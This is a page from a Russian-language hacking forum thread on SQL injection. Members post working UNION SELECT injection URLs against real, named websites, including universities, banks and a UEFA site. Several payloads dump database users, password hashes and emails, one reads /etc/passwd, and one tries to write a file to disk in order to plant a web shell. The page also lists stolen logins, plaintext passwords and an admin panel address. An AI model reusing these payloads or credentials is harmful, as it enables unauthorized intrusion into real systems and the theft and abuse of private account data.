SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 123 of 798
  1. Cond

    Cond Member

    Joined:
    28 May 2007
    Messages:
    13
    Likes Received:
    6
    Reputations:
    1
    Какие же там таблицы :)
    Code:
    http://www.law.gmu.edu/academics/course_detail.php?num=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9/*
    Здесь даже версию не узнать
    Code:
    http://www.georgiasouthern.edu/askgus/viewanswer.php?q=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14/*
    Code:
    http://www.georgiasouthern.edu/askgus/searchbyaud.php?a=-1+union+select+1,2/*
     
    #2441 Cond, 9 Jun 2007
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    www.uzgeolcom.uz
    Code:
    http://www.uzgeolcom.uz/news.php?lng=rus&oper=list&id=-1+union+select+1,2,3,4,5,concat_ws(0x3b,version(),database(),user())/*
    www.roger.ru
    Code:
    http://www.roger.ru/news/?nid=-1+union+select+1,concat_ws(0x3b,name,email,date),3,4,5+from+guest_book/*/code]
[code]http://www.roger.ru/news/?nid=-1+union+select+1,cocat_ws(0x3b),version(),user(),database())+from+guest_book/*
     
    #2442 banned, 9 Jun 2007
    Last edited: 9 Jun 2007
  3. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Все узнаваемо
    Code:
    http://www.georgiasouthern.edu/askgus/viewanswer.php?q=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3b,user(),database(),version()),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14/*
     
    #2443 banned, 9 Jun 2007
  4. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    ЫЫЫ еще sql inj

    login:root
    password:*8D4319DB7740A103F5B810488C17A7462FF9279B

    кто подберет пароль, поставлю +1
     
    #2444 kair, 9 Jun 2007
    Last edited: 9 Jun 2007
  5. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Code:
    http://www.undime.org.br/htdocs/index.php?id=-3557'+union+select+1,2,user(),4,version(),6,7,8,9,10,11,12,13,14,database(),16,17,18,19,20,21,22/*
    Code:
    http://www.pontoflash.com.br/colunas/materia.php?Item=-186+union+select+1,table_name,3,4,concat(user(),0x3a,version(),0x3a,database()),6,7,8,7+from+information_schema.tables/*
    Code:
    http://catalog.weblink.org.ua/select.php?f_id=-2+union+select+1,2,concat(user(),0x3a,version(),0x3a,database())/*
     
    #2445 KPOT_f!nd, 9 Jun 2007
    1 person likes this.
  6. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    НБР - Национальный банк развития:
    Code:
    [COLOR=LightBlue][B]http://www.nbd.ru/ns/about/news/?id=-1+union+select+1,2,3,4,5,6,7,8,9,load_file('/etc/passwd'),11,12,13/*[/B][/COLOR]
    Национальный банк ТРАСТ: кредит наличными, вклады, кредиты малому бизенсу, etc:
    Code:
    [COLOR=LightBlue][B]http://www.trust.ru/ru/about/careers/moscow/printable.php?from4=4&id4=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11/*[/B][/COLOR]
    Национальный Банк Развития Бизнеса - КБ «НацБизнесБанк» (OOO):
    Code:
    [B][COLOR=LightBlue]http://www.nbbank.ru/cnews/print.php?id=2'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*[/COLOR][/B]
    Рассмотрим поподробнее 1ин из них,
    trust.ru
    Рут:
    Code:
    [COLOR=LightBlue][B]http://www.trust.ru/ru/about/careers/moscow/printable.php?from4=4&id4=-1'+union+select+1,2,3,4,5,6,7,8,9,concat(user,0x3d,password),11+from+mysql.user/*[/B][/COLOR]
    root:3c0f07ef742aa92a
    trusrtbank-www:3c0f07ef742aa92a

    Читаем файлы:
    Code:
    [COLOR=LightBlue][B]http://www.trust.ru/ru/about/careers/moscow/printable.php?from4=4&id4=-1'+union+select+1,2,3,4,5,6,7,8,9,load_file('/etc/passwd'),11/*[/B][/COLOR]
    Пробуем залить шелл:
    Code:
    [COLOR=LightBlue][B]http://www.trust.ru/ru/about/careers/moscow/printable.php?from4=4&id4=-1'+union+select+null,null,null,null,null,null,null,null,null,'test',null+from+mysql.user+into+outfile+'/tmp/rest9999.php'/*[/B][/COLOR]
    Записалось ли?:
    Code:
    [COLOR=LightBlue][B]http://www.trust.ru/ru/about/careers/moscow/printable.php?from4=4&id4=-1'+union+select+1,2,3,4,5,6,7,8,9,load_file('/tmp/rest99.php'),11/*[/B][/COLOR]
    \N \N \N \N \N \N \N \N \N test \N
     
    #2446 l1ght, 9 Jun 2007
    1 person likes this.
  7. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Code:
    http://forums.tjat.com/wap/wapmisc.php?action=profile&u=-99%22%20union%20select%201,2,user,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,password,39,40,41,42,43,44,45,46,47+from+mysql.user/*
    root:4527fb015ba5ce7d
    Code:
    http://forums.tjat.com/wap/wapmisc.php?action=profile&u=-99%22%20union%20select%201,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,concat(user_email,char(58),user_password),39,40,41,42,43,44,45,46,47+from+phpbb_users+limit+1,1/*
    лимит в помощь

    ran:b45dc32e2201a8c4a39ea72cc1ad2cff
    Tjat.comTeam:9e592dbd5de6ec2fbcd1aef248202055
    dima:9e592dbd5de6ec2fbcd1aef248202055

    ICQ сервис www.tjat.com/wap.tjat.com

    сенкс M4g (c)​
     
    #2447 KPOT_f!nd, 9 Jun 2007
  8. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    plaza-j.ru
    Code:
    http://www.plaza-j.ru/catalog.php?id=2&rid=-1+union+select+1,concat(username,0x3a,passwd),3,4+from+user/*
    plaza-j:10054b213fec9d81
     
    #2448 n1†R0x, 9 Jun 2007
  9. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    там есть таблица orders
    Code:
    http://vcam.ru/index.php?id=-1+union+select+concat(user(),0x3a,version(),0x3a,database())+from+[B]orders[/B]/*
     
    #2449 KPOT_f!nd, 9 Jun 2007
    Last edited: 9 Jun 2007
    1 person likes this.
  10. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    dmbasis.ru
    Code:
    http://www.dmbasis.ru/main.php?id=-1+union+select+1,2,concat(email,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+users+limit+0,1/*
    вывод в title, пароли в открытом виде, форма логина тоже есть.. ток ничего не дает =)
     
    #2450 n1†R0x, 9 Jun 2007
    1 person likes this.
  11. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    ...
    Code:
    http://www.jed-afrique.org/news.php?id_news=-11+union+select+1,version(),3,user(),5,6,7,8,9,10,11,12,13,14,15,16,user()/*
http://www.respectcoalition.org/2006/news.php?ite=-1274+union+select+concat(user(),version()),2,3,4/*
     
    #2451 Ky3bMu4, 9 Jun 2007
  12. alextoun

    alextoun Вылет с Трассы

    Joined:
    7 May 2006
    Messages:
    563
    Likes Received:
    216
    Reputations:
    96
    ооо
     
    #2452 alextoun, 9 Jun 2007
    1 person likes this.
  13. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    fr.freekick.uefa.com
    логин:пароль
    ##gv:##mw
    arena:rose67uf

    Админка
    http://fr.freekick.uefa.com/admin/

    Шелл не смог залить. Есть скрипт аплода картинок, но там стоит проверка на расширение
     
    #2453 Spyder, 9 Jun 2007
    6 people like this.
  14. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    eku.latin.epson.com
    Названия таблиц на испанском =)
     
    #2454 Spyder, 9 Jun 2007
  15. V.I.P

    V.I.P Elder - Старейшина

    Joined:
    6 Apr 2007
    Messages:
    69
    Likes Received:
    45
    Reputations:
    -6
    Сайт: www.cаpsi.ca
    PHP:
    http://www.capsi.ca/council.php?mem_id=3+union+select+1,2,3,4,5,6,concat_ws(char(58),name,email,password),8,9,10,11,12,13+from+members/*
    Сайт: www.rаmzesexpo.com
    PHP:
    http://www.ramzesexpo.com/ru/news/index.php?id=-24+union+select+1,2,3,4,5,6,7,8,name,10,11,12,13,14,15,16,17,18,19,20+from+ramzesexpo/*
    Сайт: www.mеrrimack.tv
    PHP:
    http://www.merrimack.tv/news/index.php?id=-1+union+select+1,table_name,3,4,5,6,7,8+from+information_schema.tables/*
    Сайт: www.jеd-afrique.org
    PHP:
    http://www.jed-afrique.org/news.php?id_news=-11+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat_ws(char(58),login,password)+from+user/*
    Сайт: www.mоldavcable.com
    PHP:
    http://www.moldavcable.com/newsread.php?id=-6+union+select+concat_ws(char(58),user,password)+from+mysql.user/*
     
    #2455 V.I.P, 9 Jun 2007
  16. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    www.divx.com
    Чё то стобцы не могу подобрать =\
     
    #2456 Spyder, 9 Jun 2007
    2 people like this.
  17. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    www.edifier.ru

    Code:
    http://www.edifier.ru/news.php?&task=showfull&id=-80+union+select+1,2,3,4,version(),6,7/*
    дальше туго :(
     
    #2457 n0ne, 10 Jun 2007
    1 person likes this.
  18. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    To Spyder
    Для начала мона системного вытащить:
    Code:
    http://www.divx.com/company/press/press_detail.php?pr_id=-4+union+select+1,convert(user+using+latin1),3,4+from+mysql.user+limit+0,1/*
    user: drupal
    hash: 654065ad41dfec0d
     
    #2458 [53x]Shadow, 10 Jun 2007
  19. Серенький

    Серенький Banned

    Joined:
    13 Apr 2007
    Messages:
    112
    Likes Received:
    145
    Reputations:
    83
    http://cyberacing.ru/index.php?lang=ru&p=105&action=topic&id=-1+union+select+1,2,concat_ws(0x3a20,user_id,user_name,user_password,user_email,user_icq),4,5,6,7+from+users+limit+0,1/*

    *E0AEE55D5A64DF698178C496D6BD03C2ED0336C0: [email protected]: 89538062
     
    #2459 Серенький, 10 Jun 2007
    Last edited: 10 Jun 2007
    1 person likes this.
  20. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    alextoun - в твое скули имееться таблица усер:
    Code:
    http://cyberacing.ru/index.php?lang=ru&p=105&action=topic&id=-1+union+select+1,2,3,4,5,6,7+from+[B]users[/B]/*
    Ky3bMu4 аналогично имееться таблица усер:
    cedric:cedalaloi
    jim:jed&2006
     
    #2460 KPOT_f!nd, 10 Jun 2007
(You must log in or sign up to post here.)
Page 123 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.